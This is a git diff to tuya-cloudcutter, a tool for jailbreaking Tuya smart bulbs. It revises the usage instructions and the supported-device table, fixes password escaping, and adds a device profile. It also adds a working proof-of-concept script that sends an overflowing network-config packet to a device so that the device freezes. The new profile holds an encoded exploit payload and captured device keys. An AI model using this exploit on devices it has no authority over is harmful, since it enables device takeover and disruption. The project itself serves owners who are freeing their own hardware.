diff --git a/INSTRUCTIONS.md b/INSTRUCTIONS.md index 7c02ef3..44a19d7 100644 --- a/INSTRUCTIONS.md +++ b/INSTRUCTIONS.md @@ -9,9 +9,9 @@ Here we describe how to use tuya-cloudcutter to jailbreak Tuya IoT devices by re ### Running the toolchain * Download or git clone this repository * Open a terminal and `cd` into the repository to make it your working directory -* Run `./run_detach.sh [wifi adapter name]`, where SSID/password is the name of the access point you want the Tuya device to join, and wifi adapter is optional (if not set, it will use the first detected adapter in your computer) +* Run `./run_detach.sh [wifi adapter name]`, where SSID/password is the name of the access point you want the Tuya device to join, and wifi adapter is optional (if not set, it will use the first detected adapter in your computer). **If your SSID and/or password have special characters like $ ! or @, make sure to pass them with ' characters, e.g. 'P@$$W0rD!'. If it has the ' character then also make sure to escape that, with bash that'd be `'P@$$W0rD!'"'"' 1234'` to use the password `P@$$W0rD!' 1234`** * When instructed, put your Tuya device in _AP Mode_ by toggling it off and on again 6 times, with around 1 second in between each toggle. If it's a light bulb, it will blink _slowly_. If it blinks _quickly_, power cycle it 3 more times. -* The script will automatically connect to your light (assuming it creates a "SmarLife-*" SSID. If not, let us know.) and run the exploit that replaces the security keys (now it can't connect to the cloud anymore) +* The script will automatically connect to your light (assuming it creates a "SmartLife-*" SSID. If not, let us know.) and run the exploit that replaces the security keys (now it can't connect to the cloud anymore) * The exploit freezes the light. It will reboot back into AP mode if left alone, and you can speed this up by power cycling it yourself one time * The script will start up an access point of its own called "cloudcutter-flash", using your WiFi adapter * Turn the device off and on again once. It will enter AP mode again. If it doesn't, power cycle it 6 times to enter AP mode. The script will now make the device connect to our "cloudcutter-flash" AP. @@ -26,4 +26,4 @@ Here we describe how to use tuya-cloudcutter to jailbreak Tuya IoT devices by re ## Flashing custom firmware -WIP: we're still polishing this part of tuya-cloudcutter. It uses a similar flow to how custom flashing was done before by e.g. `tuya-convert`, which runs after our exploit has replaced the security keys of your device. Check back here in a bit to see if this is finished then! \ No newline at end of file +WIP: we're still polishing this part of tuya-cloudcutter. It uses a similar flow to how custom flashing was done before by e.g. `tuya-convert`, which runs after our exploit has replaced the security keys of your device. Check back here in a bit to see if this is finished then! diff --git a/README.md b/README.md index a5e4d8a..2b43249 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,8 @@ Check out [INSTRUCTIONS](./INSTRUCTIONS.md) ## Contribution We'd be happy to receive your contributions! One way to contribute if you already know your way around some binary exploitation or would like to get your hands into it is by building device profiles to support more exploitable devices. Check out the [detailed writeup](https://rb9.nl/posts/2022-03-29-light-jailbreaking-exploiting-tuya-iot-devices/) for the information about the vulnerability and exploit chain. Example device profiles can also be found at `src/cloudcutter/device-profiles`. +If you'd like to check if a device is exploitable, one way to lower the chance of having to pry open a device that's not exploitable is testing it out with [this test script](./proof-of-concept/test_device_exploitable.py). **The downside to this test is that it won't tell you if the device is BK7231 based or not, since it seems that RTL87{1,2}0 devices are also exploitable but so far no work has been done to support them.** + These are currently done manually, but there are some plans in the future to simplify the building process. Additionally, we'd love to see a device-agnostic exploit chain! ## Device support diff --git a/SUPPORTED.md b/SUPPORTED.md index 8209c1e..c768d23 100644 --- a/SUPPORTED.md +++ b/SUPPORTED.md @@ -1,7 +1,8 @@ # Supported devices | Brand | Picture | Device description | Article numbers | Flash dump / firmware acquired? | Exploitable? | |:---:|:---:|:---:|:---:|:---:|:---:| -| iHome | ![](device-pictures/IH-BW948-999.jpeg) | iHome Spectra Smart Spiral ST19/E26 Edison Multicolor | IH-BW948-999 | Yes | Yes | +| iHome | ![](Ddevice-pictures/IH-BW948-999.jpeg) | iHome Spectra Smart Spiral ST19/E26 Edison Multicolor | IH-BW948-999 | Yes | Yes | +| | ![](device-pictures/IH-BW949-999.jpeg) | iHome Spectra Smart Spiral G25 Edison Multicolor | IH-BW949-999 | Yes | Yes | | LSC | ![](device-pictures/2578539.jpeg) | Smart LED RGB + Tunable White E27 806 Lumen | 2578539
970724 | Yes | Yes | | | | | 2578539
970719.1 v1.0 | Yes | Yes | | | ![](device-pictures/970716.jpeg) | Smart LED Tunable White E27 806 Lumen | 3000272
970716 | Yes | Yes | @@ -30,4 +31,4 @@ | Brand | Picture | Device description | Article number | Flash dump / firmware acquired? | Exploitable? | |:---:|:---:|:---:|:---:|:---:|:---:| | LSC | ![](device-pictures/3006033.jpeg) | Smart Dimmer Switch | 3006033
970806 | Yes | No | -| | ![](device-pictures/970772v2.jpg) | Smart Siren | 970772 v2.0 | No - not a BK7231 chip | No | +| | ![](device-pictures/970772v2.jpg) | Smart Siren | 970772 v2.0 | No - not a BK7231 chip | Unknown - verification needed | diff --git a/device-pictures/IH-BW948-999.jpeg b/device-pictures/IH-BW948-999.jpeg index bdda727..6204085 100644 Binary files a/device-pictures/IH-BW948-999.jpeg and b/device-pictures/IH-BW948-999.jpeg differ diff --git a/device-pictures/IH-BW949-999.jpeg b/device-pictures/IH-BW949-999.jpeg new file mode 100644 index 0000000..ac48b0d Binary files /dev/null and b/device-pictures/IH-BW949-999.jpeg differ diff --git a/proof-of-concept/test_device_exploitable.py b/proof-of-concept/test_device_exploitable.py new file mode 100644 index 0000000..ed1e630 --- /dev/null +++ b/proof-of-concept/test_device_exploitable.py @@ -0,0 +1,72 @@ +import struct +import time +import zlib +import socket +import sys + +MAX_CONFIG_PACKET_PAYLOAD_LEN = 0xE8 + +VICTIM_IP = '192.168.175.1' +VICTIM_PORT = 6669 + +def build_network_config_packet(payload): + if len(payload) > MAX_CONFIG_PACKET_PAYLOAD_LEN: + raise ValueError('Payload is too long!') + # NOTE + # fr_num and crc do not seem to be used in the disas + # calculating them anyway - in case it's needed + # for some reason. + tail_len = 8 + head, tail = 0x55aa, 0xaa55 + fr_num, fr_type = 0, 0x1 + plen = len(payload) + tail_len + buffer = struct.pack("!IIII", head, fr_num, fr_type, plen) + buffer += payload + crc = zlib.crc32(buffer) + buffer += struct.pack("!II", crc, tail) + return buffer + +def send_network_config_datagram(datagram): + client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + client.sendto(datagram, (VICTIM_IP, VICTIM_PORT)) + +def encode_json_val(value): + encoded = [] + escaped = list(map(ord, '"\\')) + escape_char = ord('\\') + for i in value: + if i in escaped: + encoded.append(escape_char) + encoded.append(i) + return bytes(encoded) + +def check_valid_payload(value): + eq_zero = lambda x: x == 0 + if any(map(eq_zero, value)): + print('[!] At least one null byte detected in payload. Clobbering will stop before that.') + return value + +print("This script will attempt to help you lower the chances of prying open a device that won't be exploitable") +print("However, it's not 100% foolproof either, there are more devices that are vulnerable which are not based on") +print("the BK7231 chipset. So, please take that into account.") +print('Before continuing, please set your device in AP mode first. This usually takes 6 power cycles off and on with ~1 sec between each.') +answer = input('Is your device now in AP mode? (yes/no) [default: no]: ').lower() + +if not 'y' in answer: + print("Testing requires AP mode. If the device does not have it, it's not exploitable.") + sys.exit(0) + +input("Please connect to the device's AP then hit enter to continue.") + +payload = b'{"ssid":"A","token":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x11\x11\x11\x11","passwd":"AAAA"}' + +payload = check_valid_payload(payload) + +datagram = build_network_config_packet(payload=payload) + +for _ in range(5): + send_network_config_datagram(datagram=datagram) + time.sleep(0.200) + +print("Exploit payload sent! If the device has an LED and now seems to be 'frozen', it's likely exploitable.") +print("Leave it be for ~60 seconds, if its WiFi AP stops showing up then it reboots and 'unfreezes' by itself, then it's almost definitely exploitable.") \ No newline at end of file diff --git a/run_detach.sh b/run_detach.sh index b1792fc..cb73344 100755 --- a/run_detach.sh +++ b/run_detach.sh @@ -8,7 +8,18 @@ echo "Cutting device off from cloud.." echo "==> Wait for 20-30 seconds for the device to connect to 'cloudcutter-flash'. This script will then show the activation requests sent by the device, and tell you whether local activation was successful." nmcli device set ${WIFI_ADAPTER} managed no trap "nmcli device set ${WIFI_ADAPTER} managed yes" EXIT # Set WiFi adapter back to managed when the script exits -run_in_docker bash -c "bash /src/setup_apmode.sh ${WIFI_ADAPTER} && pipenv run python3 -m cloudcutter configure_local_device --ssid \"${SSID}\" --password \"${SSID_PASS}\" \"/src/cloudcutter/device-profiles/${PROFILE}\" \"${CONFIG_DIR}\"" +INNER_SCRIPT=$(xargs -0 <<- EOF + # This janky looking string substitution is because of double evaluation. + # Once in the parent shell script, and once in this heredoc used as a shell script. + # First evaluate the value from the parent shell script while escaping ' chars + # with this janky substitutions so that it doesn't break this heredoc script. + SSID='${SSID/\'/\'\"\'\"\'}' + SSID_PASS='${SSID_PASS/\'/\'\"\'\"\'}' + bash /src/setup_apmode.sh ${WIFI_ADAPTER} + pipenv run python3 -m cloudcutter configure_local_device --ssid "\${SSID}" --password "\${SSID_PASS}" "/work/device-profiles/${PROFILE}" "${CONFIG_DIR}" +EOF +) +run_in_docker bash -c "$INNER_SCRIPT" if [ ! $? -eq 0 ]; then echo "Oh no, something went wrong with detaching from the cloud! Try again I guess.." exit 1 diff --git a/src/cloudcutter/__main__.py b/src/cloudcutter/__main__.py index 39a3c38..f3091ec 100644 --- a/src/cloudcutter/__main__.py +++ b/src/cloudcutter/__main__.py @@ -184,7 +184,12 @@ def __exploit_device(args): def __configure_wifi(args): SSID = args.SSID password = args.password - payload = '{"ssid":"' + SSID + '","passwd":"' + password + '","token":"AAAAAAAA"}' + + # Pass the payload through the json module specifically + # to avoid issues with special chars (e.g. ") in either + # SSIDs or passwords. + payload = {"ssid": SSID, "passwd": password, "token": "AAAAAAAA"} + payload = json.dumps(payload) print(f"{payload=}") diff --git a/src/cloudcutter/crypto/pskcontext.py b/src/cloudcutter/crypto/pskcontext.py index 4878154..adf5f77 100644 --- a/src/cloudcutter/crypto/pskcontext.py +++ b/src/cloudcutter/crypto/pskcontext.py @@ -24,11 +24,12 @@ class PSKContext(ssl.SSLContext): return sslpsk.wrap_socket(sock, **kwargs) def _psk_and_pskid(self, identity_or_hint: bytes, server_side: bool): - if not self.psk or identity_or_hint[0] == 1: - print("Using PSK v1") + psk_id_version = identity_or_hint[0] + if not self.psk or psk_id_version == 1: + print(f"Using PSK v1 - Received PSK ID version {psk_id_version:02x}") psk, psk_id = self._psk_id_v1(identity_or_hint, server_side) else: - print("Using PSK v2") + print(f"Using PSK v2 - Received PSK ID version {psk_id_version:02x}") psk, psk_id = self._psk_id_v2(identity_or_hint, server_side) return psk if server_side else (psk, psk_id) diff --git a/src/cloudcutter/device-profiles/iHome/IH-BW949-999/atop.online.debug.log.json b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/atop.online.debug.log.json new file mode 100644 index 0000000..84b1695 --- /dev/null +++ b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/atop.online.debug.log.json @@ -0,0 +1 @@ +{"result": true, "t": 1644810584, "success": true} \ No newline at end of file diff --git a/src/cloudcutter/device-profiles/iHome/IH-BW949-999/profile b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/profile new file mode 100644 index 0000000..4d85bcd --- /dev/null +++ b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/profile @@ -0,0 +1,7 @@ +{ + "chip": "BK7231N", + "payload": "eyJhdXprZXkiOiJBVVRIS0VZQUFBQUFBQUFBIiwidXVpZCI6IlVVSURBQUFBQUFBQSIsInBza0tleSI6IiIsInByb2RfdGVzdCI6ZmFsc2UsImFwX3NzaWQiOiJBIiwic3NpZCI6IkFCQ0S9Og0iLCJ0b2tlbiI6IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQZuzASJ9", + "authkey_template": "AUTHKEYAAAAAAAAA", + "uuid_template": "UUIDAAAAAAAA", + "datagram_padding": "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQg==" +} \ No newline at end of file diff --git a/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.active.json b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.active.json new file mode 100644 index 0000000..e567089 --- /dev/null +++ b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.active.json @@ -0,0 +1 @@ +{"result": {"schema": "[{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"type\":\"bool\"},\"id\":20},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"range\":[\"white\",\"colour\",\"scene\",\"music\"],\"type\":\"enum\"},\"id\":21},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"min\":10,\"max\":1000,\"scale\":0,\"step\":1,\"type\":\"value\"},\"id\":22},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"min\":0,\"max\":1000,\"scale\":0,\"step\":1,\"type\":\"value\"},\"id\":23},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":24},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":25},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"min\":0,\"max\":86400,\"scale\":0,\"step\":1,\"type\":\"value\"},\"id\":26},{\"type\":\"obj\",\"mode\":\"wr\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":27},{\"type\":\"obj\",\"mode\":\"wr\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":28},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":29},{\"mode\":\"rw\",\"id\":33,\"type\":\"raw\"}]", "devId": "bf7c99e8e597a23ac6tlgr", "resetFactory": false, "timeZone": "+01:00", "capability": 1025, "secKey": "cb42e25ad9578823", "stdTimeZone": "+01:00", "schemaId": "0000036pux", "dstIntervals": [[1648342800, 1667091600], [1679792400, 1698541200], [1711846800, 1729990800], [1743296400, 1761440400], [1774746000, 1792890000]], "localKey": "3af6681b2b54610b"}, "t": 1644015947, "success": true} \ No newline at end of file diff --git a/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.dynamic.config.ack.json b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.dynamic.config.ack.json new file mode 100644 index 0000000..42bce17 --- /dev/null +++ b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.dynamic.config.ack.json @@ -0,0 +1 @@ +{"t": 1644810586, "success": true} \ No newline at end of file diff --git a/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.dynamic.config.get.json b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.dynamic.config.get.json new file mode 100644 index 0000000..69ec019 --- /dev/null +++ b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.dynamic.config.get.json @@ -0,0 +1 @@ +{"result": {"timezone": {"ackId": "0-0", "validTime": 1800, "time": 1644015962, "config": {"stdTimeZone": "+01:00", "dstIntervals": [[1648342800, 1667091600], [1679792400, 1698541200]]}}}, "t": 1644015962, "success": true} diff --git a/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.timer.count.json b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.timer.count.json new file mode 100644 index 0000000..fb7a860 --- /dev/null +++ b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.timer.count.json @@ -0,0 +1 @@ +{"result": {"devId": "bx8d34db24a1417360ivjw", "count": 0, "lastFetchTime": 0}, "t": 1644810591, "success": true} \ No newline at end of file diff --git a/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.upgrade.silent.get.json b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.upgrade.silent.get.json new file mode 100644 index 0000000..4b531c7 --- /dev/null +++ b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.upgrade.silent.get.json @@ -0,0 +1 @@ +{"t": 1644810589, "success": true} \ No newline at end of file diff --git a/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.uuid.pskkey.get.json b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.uuid.pskkey.get.json new file mode 100644 index 0000000..9fb4373 --- /dev/null +++ b/src/cloudcutter/device-profiles/iHome/IH-BW949-999/tuya.device.uuid.pskkey.get.json @@ -0,0 +1 @@ +{"result": {"pskKey": "I2UEzymespb0sLKZq65evZw5Qka7rodAi9b33"}, "t": 1644810473, "success": true} \ No newline at end of file diff --git a/src/tinytuya/tinytuya/__init__.py b/src/tinytuya/tinytuya/__init__.py index 9ec5c4f..5f123cb 100644 --- a/src/tinytuya/tinytuya/__init__.py +++ b/src/tinytuya/tinytuya/__init__.py @@ -952,9 +952,10 @@ class XenonDevice(object): skip_header(bool): For Protocol 3.3, does not add the protocol header if True """ # Create byte buffer from hex data - payload = json.dumps(data) - # if spaces are not removed device does not respond! - payload = payload.replace(" ", "") + # Make sure to dump it with no spaces after : chars, + # otherwise device does not respond. + # This was done incorrectly before by removing all spaces! + payload = json.dumps(data, separators=(',', ':')) payload = payload.encode("utf-8") log.debug("building payload=%r", payload)